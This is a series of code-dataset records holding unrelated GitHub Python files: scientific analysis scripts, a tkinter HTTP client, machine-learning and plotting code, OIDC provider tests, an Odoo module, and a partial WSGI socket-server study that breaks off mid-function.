,'--ref' , required=True, help='Reference for traj files')\n p.add_argument('-t' ,'--trj' , nargs='+') \n p.add_argument('-rd','--radius' , type=float, default=6.0, help='default = 6.0 A')\n p.add_argument('-s' ,'--selection', nargs='+')\n p.add_argument('-b' ,'--begin' , type=int, default=0, help='zero-based index. Frame no.') \n p.add_argument('-wf' ,'--wfocus' , default='local', help='') \n\n args = p.parse_args()\n return args.ref, args.trj, args.radius, args.selection, args.begin, args.wfocus\n\ndef make_selections_for_localised_water(selections, radius):\n water_selections = []\n for i, sele in enumerate(selections):\n water_selections.append(f\"name OW and sphzone {radius} ({sele})\")\n print(f'{i}, {water_selections[i]}')\n return water_selections\n\ndef main():\n ref, inTrajs, radius, selections, begin, water_focus = parser()\n print('INPUT TRAJECTORIES: \\n', inTrajs)\n print('SELECTIONS :')\n \n if water_focus == 'local': \n water_selections = make_selections_for_localised_water(selections, radius)\n\n elif water_focus == 'entire':\n water_selections = ['name OW and around 5.0 protein ']\n print(f'Note: selection specified by -s option is inactive because --wfocus is entire.')\n else:\n exit(f'Stop: Wrong parameter was specified {water_focus}')\n\n\n ## Compute suvival probabilities for each input file.\n #scale_factor = 1.0 # for frame no conversion into X \n for i, itraj in enumerate(inTrajs):\n univ = MDAnalysis.Universe(ref, itraj, in_memory=True)\n \n #Survival Probability is calculated here\n for j, sele in enumerate(water_selections):\n \n if water_focus == 'local':\n N_traj = len(univ.trajectory) - 1 \n N_traj = N_traj - begin\n print(f'* Tau_max is set to {N_traj}.')\n #tau_vals, suv_probs, selected_indexes = survivalProb(univ, sele, start=begin, stop=None, step=1, tau_max=N_traj)\n tau_vals, suv_probs, selected_indexes = survivalProb(univ, sele, start=begin, stop=None, step=1, tau_max=1000)\n \n elif water_focus == 'entire':\n tau_vals, suv_probs, selected_indexes = survivalProb(univ, sele, start=begin, stop=None, step=1, tau_max=1)\n \n prefix = chr(j+97).upper()+str(i)\n jotDown(taus=tau_vals, prefix=prefix, sps=suv_probs, nameForlog=itraj) \n \n indexes_every_frames = []\n for ind in selected_indexes:\n ind = list(map(int, ind))\n indexes_every_frames.append(sorted(ind))\n\n with open(f'{prefix}_index.csv', 'w') as fout:\n fout.write(f\"#This output was derived from:\\n\")\n fout.write(f\"#{itraj}\\n\")\n for k, ids in enumerate(indexes_every_frames):\n fout.write(f'{k}: ')\n for l, idd in enumerate(ids):\n fout.write(f'{idd}, ')\n fout.write('\\n')\n\nif __name__ == \"__main__\":\n main()\n","repo_name":"physicshinzui/water-analysis","sub_path":"calc_suviveProb.py","file_name":"calc_suviveProb.py","file_ext":"py","file_size_in_byte":4381,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"1155192609","text":"import tkinter\nfrom tkinter import Text\nimport requests\nimport json\nfrom tkinter import ttk\nimport sv_ttk\n\n# ~~~~~~~ Support Functionss ~~~~~~~ # \n\ndef send_request():\n method_dict = {\n \"Get\": requests.get,\n \"Post\": requests.post,\n \"Put\": requests.put,\n \"Delete\": requests.delete,\n }\n http_verb = request_verb_combo.get()\n client_func = method_dict[http_verb]\n \n # Make request \n uri = ent_url.get()\n response = client_func(uri)\n\n try:\n response_body_text = json.dumps(response.json(), indent=1)\n except Exception:\n response_body_text = response.text\n\n # Update UI\n response_status_code.config(text=f\"Status Code: {response.status_code}\")\n response_body.config(text=response_body_text)\n elapsed.config(text=f\"Time Elapsed: {response.elapsed} Seconds\")\n\n# ~~~~~~~ Window Setup ~~~~~~~ # \nwindow = tkinter.Tk()\nwindow.title(\"Mailman\")\nfrm_body = ttk.Frame(master=window, padding=10)\nfrm_body.pack(fill='both', expand=True)\nsv_ttk.set_theme(\"dark\")\n\n# ~~~~~~~ Request Information ~~~~~~~ # \n\n# Create frame for request form\nfrm_request_info = ttk.LabelFrame(\n master=frm_body, \n padding=10, \n relief='raised', \n borderwidth=1,\n text=\"Request\"\n)\nfrm_request_info.pack(fill='both',side='top', expand=True)\n\n# Combobox for request type\nrequest_verb_combo = ttk.Combobox(\n master=frm_request_info,\n values=[\n \"Get\",\n \"Post\",\n \"Put\",\n \"Delete\",\n ],\n width=5\n)\nrequest_verb_combo.current(0)\nrequest_verb_combo.pack(side='left')\n\n# Entry for URL Info\nent_url = ttk.Entry(master=frm_request_info, width=100)\nent_url.pack(side='left')\n\n# Button for sending request\nbtn_send = ttk.Button(\n master=frm_request_info, \n text=\"Send\",\n command=send_request\n)\nbtn_send.pack(side='left')\n\n# ~~~~~~~ Response Information ~~~~~~~ # \nfrm_response_info = ttk.LabelFrame(\n master=frm_body, \n padding=10, \n relief='raised', \n borderwidth=1,\n text=\"Response\"\n )\nfrm_response_info.pack(fill='both',side='top', expand=True)\n\n# Meta Data Frame\nfrm_response_meta_data = ttk.LabelFrame(\n master=frm_response_info, \n padding=10, \n relief='raised', \n borderwidth=1,\n text =\"Meta Data\"\n)\nfrm_response_meta_data.pack(fill='both',side='left')\n\n# Status Code Label\nresponse_status_code = ttk.Label(frm_response_meta_data, text=\"\", )\nresponse_status_code.grid(row=0, column=0, sticky='w')\n\n# Time Elapsed Label\nelapsed = ttk.Label(frm_response_meta_data, text=\"\")\nelapsed.grid(row=1, column=0, sticky='w')\n\n# Padding to separate frames\nfrm_padding = ttk.Frame(\n master=frm_response_info, \n width=10, \n)\nfrm_padding.pack(fill='both',side='left')\n\n# Response Body Frame\nfrm_response_body_data = ttk.LabelFrame(\n master=frm_response_info, \n padding=10, \n relief='raised', \n borderwidth=1, \n text=\"Response Body\",\n)\nfrm_response_body_data.pack(fill='both',side='right', expand=True)\n\nresponse_body = ttk.Label(frm_response_body_data, text=\"\")\nresponse_body.grid(row=0, column=0, sticky='w')\n\n\n# Start App\nwindow.mainloop()","repo_name":"day22/requests-ui","sub_path":"main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":3081,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"70431033157","text":"# Plot Covid data for comparing countries\n\nimport numpy as np\nimport matplotlib.pyplot as plt\nimport datetime as dt\nimport matplotlib.dates as mdates\n\ndef getSmoothData(continent, country, nDaySmooth=14):\n \"\"\"\n Read in Covid19 deaths per day and return array of dates and array\n of deaths per population smoothed with a nDaySmooth running mean for a\n particular country in a particular continent\n \"\"\"\n \n # Read in data\n data=np.genfromtxt('continents/'+continent+'/'+country+'.dat',\n delimiter=' ', dtype=None, names=True,\n skip_header=0, usecols=(1,2,3,4,5,6))\n \n # Separate data into 1d arrays per day\n days = data['day']\n months = data['month']\n years = data['year']\n popData = data['popData2019']\n cases = data['cases']\n deaths = data['deaths']\n \n # A list of dates\n dates = [dt.date(years[i], months[i], days[i]) for i in range(len(data))]\n \n # nDaySmooth day average of deaths\n deathsSmooth = deaths[nDaySmooth-1:]\n for i in range(nDaySmooth-1):\n deathsSmooth = deathsSmooth + deaths[i:-nDaySmooth+i+1]\n deathsSmooth = deathsSmooth / nDaySmooth /popData[0]\n if nDaySmooth == 1:\n datesSmooth = dates.copy()\n else:\n datesSmooth = dates[int(np.floor((nDaySmooth-1)/2)):-int(np.floor(nDaySmooth/2))]\n \n return datesSmooth, deathsSmooth\n\n[UKdates, UKdeaths] = getSmoothData('Europe', 'United_Kingdom',nDaySmooth=14)\n[Italydates, Italydeaths] = getSmoothData('Europe', 'Italy',nDaySmooth=14)\n[Chinadates, Chinadeaths] = getSmoothData('Asia', 'China',nDaySmooth=14)\n[USAdates, USAdeaths] = getSmoothData('America', 'United_States_of_America',nDaySmooth=14)\n[Indiadates, Indiadeaths] = getSmoothData('Asia', 'India',nDaySmooth=14)\n[Brazildates, Brazildeaths] = getSmoothData('America', 'Brazil',nDaySmooth=14)\n\n#Make deaths per 100 million population\nUKdeaths *= 1e8\nItalydeaths *= 1e8\nChinadeaths *= 1e8\nUSAdeaths *= 1e8\nIndiadeaths *= 1e8\nBrazildeaths *= 1e8\n\n# Plot and save\nplt.gca().xaxis.set_major_formatter(mdates.DateFormatter('%d %b'))\nplt.plot(UKdates, UKdeaths, 'k', label='UK')\nplt.plot(Italydates, Italydeaths, 'r', label='Italy')\nplt.plot(Chinadates, Chinadeaths, 'b', label='China')\nplt.plot(USAdates, USAdeaths, 'c', label='USA')\nplt.plot(Indiadates, Indiadeaths, 'm', label='India')\nplt.plot(Brazildates, Brazildeaths, 'g', label='Brazil')\nplt.legend()\nplt.title(\"Deaths per day per 100 million population, 14 day mean\")\nplt.gcf().autofmt_xdate()\nplt.savefig(\"output/countryDeaths.pdf\")\n\n","repo_name":"hilaryweller0/covidDataAnalysis","sub_path":"plotCovidData.py","file_name":"plotCovidData.py","file_ext":"py","file_size_in_byte":2544,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"25422650846","text":"\"\"\"\r\nCreated on Sat Sep 14 23:09:21 2019\r\n\r\n@author: Jashwanth\r\n\"\"\"\r\nfrom sklearn.tree import DecisionTreeClassifier\r\nimport matplotlib.pyplot as plt\r\nimport pandas as pd\r\nimport numpy as np\r\nfrom sklearn.model_selection import cross_val_score\r\nfrom sklearn import tree\r\nimport pydotplus \r\nfrom IPython.display import Image\r\nfrom sklearn.metrics import accuracy_score\r\nfrom sklearn.metrics import precision_score\r\nfrom sklearn.metrics import recall_score\r\ndf=pd.read_csv('communities-crime-clean.csv')\r\ndf['highCrime'] = np.where(df['ViolentCrimesPerPop']>0.1, 1, 0)\r\n#print(df.head())\r\npos=df[(df['highCrime'] == 1)]\r\npos_percentage=len(pos)/len(df)\r\nneg_percentage=1-pos_percentage\r\nprint('positive instance percentage is ',pos_percentage)\r\nprint('negative instance percentage is ',neg_percentage)\r\ninitial=pd.read_csv('communities-crime-clean.csv')\r\ninitial = initial.drop('communityname', 1)\r\ninitial = initial.drop('ViolentCrimesPerPop', 1)\r\ninitial = initial.drop('fold', 1)\r\ninitial = initial.drop('state', 1)\r\nY = df['highCrime']\r\nclf = tree.DecisionTreeClassifier(max_depth=3)\r\nclf = clf.fit(initial, Y)\r\nfeature_name=list(initial)\r\ny_pred = clf.predict(initial)\r\n#print(feature_name)\r\nprint ('Accuracy is', accuracy_score(Y,y_pred)*100)\r\nprint ('Precision is', precision_score(Y,y_pred)*100)\r\nprint ('Recall is', recall_score(Y,y_pred)*100)\r\n\r\nclassname=['High','Low']\r\nwith open(\"classifier.txt\", \"w\") as f:\r\n f = tree.export_graphviz(clf, out_file=f, feature_names=list(initial),class_names=classname, filled=True, rounded=True, special_characters=True) \r\n\r\n\r\ny=[]\r\nx=[]\r\nfor i in range (1,16):\r\n clf = tree.DecisionTreeClassifier(max_depth=i)\r\n clf = clf.fit(initial, Y)\r\n y_pred = clf.predict(initial)\r\n scores = cross_val_score(clf, initial, Y,None,'accuracy',cv=10)\r\n y.append(np.array(scores).mean())\r\n x.append(i)\r\nplt.plot(x, y)\r\nplt.show()\r\nprint('The values of y:',y)\r\n","repo_name":"jashwanthPadamati/Crime-prediction","sub_path":"Crime Prediction/main.py","file_name":"main.py","file_ext":"py","file_size_in_byte":1913,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"3924907998","text":"# 以下代码负责提取聊天记录中“我”作为回答者的对话(一组两句),并将这些对话存进json文件。\r\n\r\nimport os\r\nimport json\r\n\r\ndef extract_conversations(input_file):\r\n conversations = []\r\n with open(input_file, 'r', encoding='utf-8') as file:\r\n lines = file.readlines()\r\n prev_line = None\r\n for line in lines:\r\n current_line = line.strip()\r\n try:\r\n if current_line.startswith(\"你自己的昵称\"):\r\n if \"):\" in prev_line and not prev_line.startswith(\"你自己的昵称\"):\r\n conversation_pair = {\r\n \"input\": prev_line.split(\"):\")[1],\r\n \"output\": current_line.split(\"):\")[1]\r\n }\r\n conversations.append(conversation_pair)\r\n except IndexError:\r\n print(\"can't parse\", current_line)\r\n\r\n prev_line = current_line\r\n\r\n return conversations\r\n\r\ndef main():\r\n input_directory = \"txt_files\"\r\n output_file = \"output2.json\"\r\n\r\n all_conversations = []\r\n\r\n for filename in os.listdir(input_directory):\r\n input_file = os.path.join(input_directory, filename)\r\n conversations = extract_conversations(input_file)\r\n all_conversations.extend(conversations)\r\n\r\n with open(output_file, 'w', encoding='utf-8') as json_file:\r\n json.dump(all_conversations, json_file, indent=2, ensure_ascii=False)\r\n\r\nif __name__ == \"__main__\":\r\n main()\r\n","repo_name":"cl-victor1/Me","sub_path":"make_training_set/convert_txt_to_json.py","file_name":"convert_txt_to_json.py","file_ext":"py","file_size_in_byte":1539,"program_lang":"python","lang":"en","doc_type":"code","stars":5,"dataset":"github-code","pt":"62"} +{"seq_id":"69872513157","text":"import os\nimport argparse\nimport tqdm\nimport cv2\n\ndef get_parse():\n args = argparse.ArgumentParser()\n args.add_argument(\n \"-tl\",\n \"--train-lst\",\n help=\"Train text list path\",\n required=True\n )\n args.add_argument(\n \"-vl\",\n \"--val-lst\",\n help=\"Valid text list path\",\n required=True\n )\n args.add_argument(\n '--images',\n help=\"Image directory\",\n required=True\n )\n args.add_argument(\n '-out',\n '--out-dir',\n default=\"./res/data/vnDB\"\n )\n return args.parse_args()\n\n\nargs = get_parse()\nsave_img_dir = os.path.join(args.out_dir, \"words\")\ntxt_file = os.path.join(args.out_dir, \"words.txt\")\n\nif not os.path.exists(save_img_dir):\n os.makedirs(save_img_dir)\n\npaths = [args.train_lst, args.val_lst]\nfor i,path in enumerate(paths):\n with open(path, 'r', encoding='utf-8') as f1:\n for j, line in tqdm.tqdm(enumerate(f1.readlines()), total=len(f1.readlines())):\n if (i==0 and j==0):\n with open(txt_file, 'w', encoding='utf-8') as f2:\n img_name, label = line.split(' ', 1)\n f2.write(f\"{img_name} ok {label}\")\n else:\n with open(txt_file, 'a', encoding='utf-8') as f2:\n img_name, label = line.split(' ', 1)\n f2.write(f\"{img_name} ok {label}\")\n \nfor img_name in tqdm.tqdm(os.listdir(args.images)):\n try:\n image = cv2.imread(os.path.join(args.images, img_name))\n cv2.imwrite(os.path.join(save_img_dir, img_name), image)\n except:\n print(f\"Error on {img_name}\")","repo_name":"namhainguyen2803/Scrabble-GAN","sub_path":"src/convert2IAM.py","file_name":"convert2IAM.py","file_ext":"py","file_size_in_byte":1653,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"70824254599","text":"# -*- coding: utf-8 -*-\n# * Authors:\n# * TJEBBES Gaston \n# * Arezki Feth ;\n# * Miotte Julien ;\nimport pytest\n\n\ndef test_claims(oidc_code, user):\n from autonomie_oidc_provider.views.token import get_claims\n scopes = ['openid']\n result = get_claims(oidc_code, scopes)\n assert result['nonce'] == oidc_code.nonce\n assert result['sub'] == user.id\n\n\ndef test_handle_authcode_token(registry, oidc_client, oidc_code):\n from pyramid.testing import DummyRequest\n from jwkest.jws import (\n JWS,\n left_hash,\n )\n from jwkest.jwk import SYMKey\n\n from autonomie_oidc_provider.models import MAC\n from autonomie_oidc_provider.views.token import handle_authcode_token\n\n req = DummyRequest()\n req.registry = registry\n claims = {'login': 'testuser', 'firstname': 'Firstname'}\n result = handle_authcode_token(\n req,\n oidc_client,\n oidc_code,\n claims,\n oidc_client.client_secret,\n )\n assert \"access_token\" in result\n\n id_token = result['id_token']\n\n key = SYMKey(key=oidc_client.client_secret, alg=MAC)\n id_token_datas = JWS().verify_compact(id_token, keys=[key])\n\n assert id_token_datas['at_hash'] == left_hash(result['access_token'], MAC)\n assert 'iss' in id_token_datas\n assert id_token_datas['aud'] == oidc_client.client_id\n\n\ndef test_validate_client(oidc_client):\n from autonomie_oidc_provider.exceptions import (\n InvalidClient,\n UnauthorizedClient,\n )\n from autonomie_oidc_provider.views.token import validate_client\n\n with pytest.raises(InvalidClient):\n validate_client(\"wrong_client_id\", \"client_secret_passphrase\")\n\n with pytest.raises(UnauthorizedClient):\n validate_client(oidc_client.client_id, \"wrong secret\")\n\n client = validate_client(oidc_client.client_id, \"client_secret_passphrase\")\n assert client == oidc_client\n\n\ndef test_validate_grant_type():\n from autonomie_oidc_provider.exceptions import InvalidRequest\n from autonomie_oidc_provider.views.token import validate_grant_type\n\n with pytest.raises(InvalidRequest):\n validate_grant_type('no good auth')\n\n validate_grant_type('authorization_code')\n\n\ndef test_validate_code(oidc_code, oidc_client):\n from autonomie_oidc_provider.exceptions import InvalidCredentials\n from autonomie_oidc_provider.views.token import validate_code\n\n validate_code(oidc_code.authcode, oidc_client)\n with pytest.raises(InvalidCredentials):\n validate_code(\"Bad code\", oidc_client)\n\n\n\ndef test_validate_redirect_uri(oidc_redirect_uri, oidc_code):\n from autonomie_oidc_provider.exceptions import InvalidCredentials\n from autonomie_oidc_provider.views.token import validate_redirect_uri\n\n validate_redirect_uri(oidc_redirect_uri.uri, oidc_code)\n with pytest.raises(InvalidCredentials):\n validate_redirect_uri(\"http://malicious.com\", oidc_code)\n\n\ndef test_validate_scopes(oidc_client):\n from autonomie_oidc_provider.exceptions import InvalidRequest\n from autonomie_oidc_provider.views.token import validate_scopes\n\n assert validate_scopes(None, oidc_client) == ['openid']\n\n with pytest.raises(InvalidRequest):\n validate_scopes(\"openid profile otherone\", oidc_client)\n\n assert validate_scopes('openid profile', oidc_client) == [\n 'openid', 'profile'\n ]\n\n\n@pytest.mark.user('admin')\ndef test_token_view(app, user, oidc_client, oidc_code, oidc_redirect_uri):\n from base64 import b64encode\n headers = {\n \"Authorization\": \"Basic %s\" % (\n b64encode(\n \"%s:%s\" % (\n oidc_client.client_id, \"client_secret_passphrase\"\n )\n )\n )\n }\n params = {\n 'code': oidc_code.authcode,\n 'redirect_uri': oidc_redirect_uri.uri,\n 'grant_type': 'authorization_code',\n 'scope': 'openid profile',\n \"state\": \"should be persisted state\",\n }\n\n res = app.post(\n \"/token\",\n headers=headers,\n params=params\n )\n assert 'access_token' in res.json\n\n","repo_name":"CroissanceCommune/autonomie_oidc_provider","sub_path":"autonomie_oidc_provider/tests/views/test_token.py","file_name":"test_token.py","file_ext":"py","file_size_in_byte":4115,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"15054508693","text":"import numpy as np\nimport cv2\nfrom matplotlib import pyplot as plt\n\n\ndef get_disparity(left_img, right_img, px_c, py_c): # left and right undistoreted and rectified images (3 channels)\n focal_lenght = 685\n baseline = 120\n roi_gap = 5\n stereo = cv2.StereoSGBM_create(minDisparity=5,\n numDisparities=160, # 160\n blockSize=5,\n P1=8 * 3 * 5 ** 2, # 600\n P2=32 * 3 * 5 ** 2, # 2400\n disp12MaxDiff=100,\n preFilterCap=32,\n uniquenessRatio=10,\n speckleWindowSize=0,\n speckleRange=32)\n\n disparity = stereo.compute(left_img, right_img).astype(np.float32) / 16.0\n disparity = cv2.medianBlur(disparity, 5)\n depth = focal_lenght*baseline/(disparity[py_c,px_c]/16.0) #in mm\n # print('disparity')\n print(disparity[py_c, px_c])\n result = disparity[py_c, px_c]\n return result\n\nif __name__ == \"__main__\":\n # map the matrix file with images\n imgL = cv2.imread(r'Stereo_conveyor_with_occlusions\\left\\1585434753_889844656_Left.png')\n imgR = cv2.imread(r'Stereo_conveyor_with_occlusions\\right\\1585434753_889844656_Right.png')\n rect_map_left_x = np.load(r'Matrix\\map_l_x.npy')\n rect_map_left_y = np.load(r'Matrix\\map_l_y.npy')\n rect_map_right_x = np.load(r'Matrix\\map_r_x.npy')\n rect_map_right_y = np.load(r'Matrix\\map_r_y.npy')\n imgL = cv2.remap(imgL, rect_map_left_x, rect_map_left_y, cv2.INTER_LINEAR)\n imgR = cv2.remap(imgR, rect_map_right_x, rect_map_right_y, cv2.INTER_LINEAR)\n\n # plt.imshow(imgL, cmap='gray')\n # plt.show()\n print(imgR.shape)\n disp, depth = get_disparity(imgL, imgR, 1160, 318)\n\n h, w = disp.shape[:2]\n f = .8 * w\n Q1 = np.float32([[1,0,0,-0.5*w],\n [0,-1,0,0.5*h],\n [0,0,0,-f],\n [0,0,1,0]])\n depth_estimate = cv2.reprojectImageTo3D(disp, Q1)\n\n print(disp)\n depth_estimate_roi = depth_estimate[318-5:318+5, 1160-5:1160+5:]\n depth_estimate_roi_mult = np.multiply(depth_estimate_roi, depth_estimate_roi)\n depth_estimate_roi_sum = np.sum(depth_estimate_roi_mult, axis=2)\n depth_estimate_roi_sqrt = np.sqrt(depth_estimate_roi_sum)\n distance = depth_estimate_roi_sqrt.min() / 100\n\n print(np.median(depth_estimate_roi[:, :, 0])/10)\n print(np.median(depth_estimate_roi[:, :, 1])/10)\n print(np.median(depth_estimate_roi[:, :, 2])/10)\n\n print(distance)\n # 0.08335267066955566\n # -0.011843969821929931\n # 0.105145263671875\n # 0.020101053714752196\n\n plt.imshow(depth, cmap='plasma')\n plt.colorbar()\n plt.show()\n # (1173, 310)\n # homogeneous\n # [[-0.62066471]\n # [0.08828016]\n # [-0.7784707]\n # [-0.03106937]]\n # mp_3d1\n # [[-0.62066471 0.08828016 - 0.7784707 - 0.03106937]]\n # mp_3d2\n # [19.97674184 - 2.84138899 25.05589228]\n # find\n # it","repo_name":"KarlEmilJoker/31392-Percepetion","sub_path":"get_depth.py","file_name":"get_depth.py","file_ext":"py","file_size_in_byte":3070,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"17742889310","text":"from openerp.osv import orm, fields\nimport openerp.addons.decimal_precision as dp\n\nclass SaleOrderLine(orm.Model):\n _inherit = 'sale.order.line'\n\n def _price(self, cr ,uid ,ids ,field ,arg ,context=None):\n res = {}\n # This loop generates only 2 queries thanks to browse()!\n for line in self.browse(cr, uid ,ids ,context=context):\n res[line.id] = line.price_unit\n return res\n\n _columns = {\n 'price_unit_draft': fields.function(\n _price, string=u'Price unit',\n digits_compute=dp.get_precision('Sale Price')),\n }\n\n def product_id_change(self, cr, uid, ids, pricelist, product, qty=0,\n uom=False, qty_uos=0, uos=False, name='',\n partner_id=False, lang=False, update_tax=True,\n date_order=False, packaging=False,\n fiscal_position=False, flag=False, context=None):\n result = super(SaleOrderLine, self).product_id_change(\n cr, uid, ids, pricelist, product, qty, uom, qty_uos, uos, name,\n partner_id, lang, update_tax, date_order, packaging,\n fiscal_position, flag, context)\n if result['value'].has_key('price_unit'):\n result['value']['price_unit_draft'] = result['value']['price_unit']\n return result","repo_name":"fernandosalvio/kmee_odoo_brasil_addons","sub_path":"l10n_br_sale_readonly_price/model/sale_order.py","file_name":"sale_order.py","file_ext":"py","file_size_in_byte":1345,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"62"} +{"seq_id":"38849907060","text":"# -*- coding: utf-8 -*-\n\n\"\"\"\n阅读内置的 wsgi server 的实现,了解 http web server 的实现原理,并自己仿照实现简单的 wsgi server\n\n\n知识点:\n- use python3\n- tcp socket 编程\n- python3 的 selectors 模块,封装了多路复用。This module allows high-level and efficient I/O multiplexing, built upon the select module primitives.\n- http 协议\n- WSGI 规范\n\n\nselectors 模块:\n\nBaseSelector # 抽象基类\n+-- SelectSelector\n+-- PollSelector\n+-- EpollSelector\n+-- DevpollSelector\n+-- KqueueSelector\n\nBaseSelector: 有两个主要的抽象方法\n\nabstractmethod register(fileobj, events, data=None):\n Register a file object for selection, monitoring it for I/O events.\n fileobj is the file object to monitor. It may either be an integer file descriptor or an object with a fileno() method. events is a bitwise mask of events to monitor. data is an opaque object.\n This returns a new SelectorKey instance, or raises a ValueError in case of invalid event mask or file descriptor, or KeyError if the file object is already registered.\n\nabstractmethod unregister(fileobj):\n Unregister a file object from selection, removing it from monitoring. A file object shall be unregistered prior to being closed.\n fileobj must be a file object previously registered.\n This returns the associated SelectorKey instance, or raises a KeyError if fileobj is not registered. It will raise ValueError if fileobj is invalid (e.g. it has no fileno() method or its fileno() method has an invalid return value).\n\n官方文档给了一个例子:\n\n\nimport selectors\nimport socket\n\nsel = selectors.DefaultSelector()\n\ndef accept(sock, mask):\n conn, addr = sock.accept() # Should be ready\n print('accepted', conn, 'from', addr)\n conn.setblocking(False)\n sel.register(conn, selectors.EVENT_READ, read)\n\ndef read(conn, mask):\n data = conn.recv(1000) # Should be ready\n if data:\n print('echoing', repr(data), 'to', conn)\n conn.send(data) # Hope it won't block\n else:\n print('closing', conn)\n sel.unregister(conn)\n conn.close()\n\nsock = socket.socket()\nsock.bind(('localhost', 1234))\nsock.listen(100)\nsock.setblocking(False)\nsel.register(sock, selectors.EVENT_READ, accept)\n\nwhile True:\n events = sel.select()\n for key, mask in events:\n callback = key.data\n callback(key.fileobj, mask)\n \"\"\"\n\n\nimport selectors\nimport socket\nimport threading\nimport time\n\n\ndef application(environ, start_response):\n \"\"\"一个简单的 wsgi 规范的 app 函数,编写 wsgi server 跑起来它\"\"\"\n status = '200 OK'\n headers = [('Content-Type', 'text/html; charset=utf8')]\n\n start_response(status, headers)\n return [b\"

    Hello

    \"]\n\n\n\"\"\"\n先编写 BaseServer,之后我们会编写 TCPServer 继承它\n\"\"\"\n\n_ServerSelector = selectors.PollSelector\n\n\nclass BaseServer:\n timeout = None\n\n def __init__(self, server_address, RequestHandlerClass):\n self.server_address = server_address\n self.RequestHandlerClass = RequestHandlerClass\n # Class implementing event objects. An event manages a flag that can be\n # set to true with the set() method and reset to false with the clear()\n # method. The wait() method blocks until the flag is true. The flag is\n # initially false.\n self.__is_shut_down = threading.Event()\n self.__shutdown_request = False\n\n def serve_forever(self, poll_interval=0.5):\n \"\"\" 循环并接受 socket 请求数据处理请求\"\"\"\n self.__is_shut_down.clear() # flag 设置为 False,其他线程调用wait 被 block,直到被某个线程 set\n try:\n with _ServerSelector() as selector: # 先去看看 python3 selectors 模块是如何对 IO多路复用封装的,如何使用\n selector.register(self, selectors.EVENT_READ) # register 接受整数文件描述符或者 有 fileno() 方法的对象\n while not self.__shutdown_request:\n # Wait until some registered file objects become ready, or the timeout\n # expires., This returns a list of (key, events) tuples, one for each\n # ready file object.\n ready = selector.select(poll_interval)\n if ready:\n self._handle_request_noblock()\n\n finally:\n self.__shutdown_request = False\n self.__is_shut_down.set() # set 之后其他 wait 的线程才能执行\n\n def shutdown(self):\n self.__shutdown_request = True\n self.__is_shut_down.wait() # Block until the internal flag is true,这里必须等待 loop 结束 ( __is_shut_down.set)\n\n # The distinction between handling, getting, processing and finishing a\n # request is fairly arbitrary. Remember:\n #\n # - handle_request() is the top-level call. It calls selector.select(),\n # get_request(), verify_request() and process_request()\n # - get_request() is different for stream or datagram sockets\n # - process_request() is the place that may fork a new process or create a\n # new thread to finish the request\n # - finish_request() instantiates the request handler class; this\n # constructor will handle the request all by itself\n def handle_request(self):\n \"\"\"处理一个 request\"\"\"\n timeout = self.socket.gettimeout()\n if timeout is None:\n timeout = self.timeout\n elif self.timeout is not None:\n timeout = min(timeout, self.timeout)\n if timeout is not None:\n deadline = time.time() + timeout\n\n # Wait until a request arrives or the timeout expires - the loop is\n # necessary to accommodate early wakeups due to EINTR.\n with _ServerSelector() as selector:\n selector.register(self, selectors.EVENT_READ)\n while True:\n ready = selector.select(timeout) # This returns a list of (key, events) tuples, one for each ready file object. # noqa\n if ready:\n return self._handle_request_noblock()\n else:\n if timeout is not None: # 处理超时的情况\n timeout = deadline - time.time()\n if timeout < 0:\n return self.handle_timeout()\n\n def _handle_request_noblock(self):\n \"\"\"Handle one request, without blocking. 这个时候 socket 应该是可读的了\n I assume that selector.select() has returned that the socket is\n readable before this function was called, so there should be no risk of\n blocking in get_request().\n \"\"\"\n try:\n request, client_address = self.get_request()\n # This exception is raised when a system function returns a system-related\n # error, including I/O failures such as “file not found” or “disk full”\n # (not for illegal argument types or other incidental errors).\n except OSError:\n return\n if self.verify_request(request, client_address):\n try:\n self.process_request(request, client_address)\n except BaseException:\n self.handle_error(request, client_address)\n self.shutdown_request(request)\n\n def handle_timeout(self):\n pass\n\n def verify_request(self, request, client_address):\n return True\n\n def process_request(self, request, client_address):\n self.finish_request(request, client_address)\n self.shutdown_request(request)\n\n def finish_request(self, request, client_address):\n \"\"\"注意这里实例化了一个 RequestHandlerClass 实例来处理请求,后续我们会实现一个简单的\n RequestHandlerClass\n \"\"\"\n self.RequestHandlerClass(request, client_address, self)\n\n def shutdown_request(self, request):\n self.close_request(request)\n\n def close_request(self, request):\n pass\n\n def handle_error(self, request, client_address):\n \"\"\"Handle an error gracefully. May be overridden.\n\n The default is to print a traceback and continue.\n\n \"\"\"\n print('-' * 40)\n print('Exception happened during processing of request from', end=' ')\n print(client_address)\n import traceback\n traceback.print_exc() # XXX But this goes to stderr!\n print('-' * 40)\n\n\n\"\"\"\n实现了 BaseServer 的基础上,继承它来实现 SocketServer,为后续的 HTTPServer 打基础\n这一章需要 socket 编程的知识,可以看看 python 的 socket 模块。\n如果之前对网络编程不熟悉,可以先看看 《unix网络编程》《unix 环境高级编程》涉及到的一些函数,这两本都是砖头书,\n可以针对相关章节看看大致有个 socket 编程的概念。\n也可以直接看 python 网络编程相关的内容然后, 先从实现个简单的 tcp socket server 和 client 来了解下 socket 编程\n\"\"\"\n\n\nclass TCPServer(BaseServer):\n address_family = socket.AF_INET # ipv4\n\n socket_type = socket.SOCK_STREAM # tcp\n\n request_queue_size = 5\n\n allow_reuse_address = False\n\n def __init__(self, server_address, RequestHandlerClass, bind_and_active=True):\n \"\"\" 继承自 BaseServer,其实整个 TCPServer 都可以看成是对\n socket 操作的封装\n \"\"\"\n super().__init__(server_address, RequestHandlerClass) # use py3 super()\n self.socket = socket.socket(self.address_family, self.socket_type) # 构造 socket 对象\n if bind_and_active:\n try:\n self.server_bind()\n self.server_activate()\n except BaseException:\n self.server_close()\n raise\n\n def server_bind(self):\n \"\"\" 设置 socket 选项,并绑定 地址和端口\"\"\"\n if 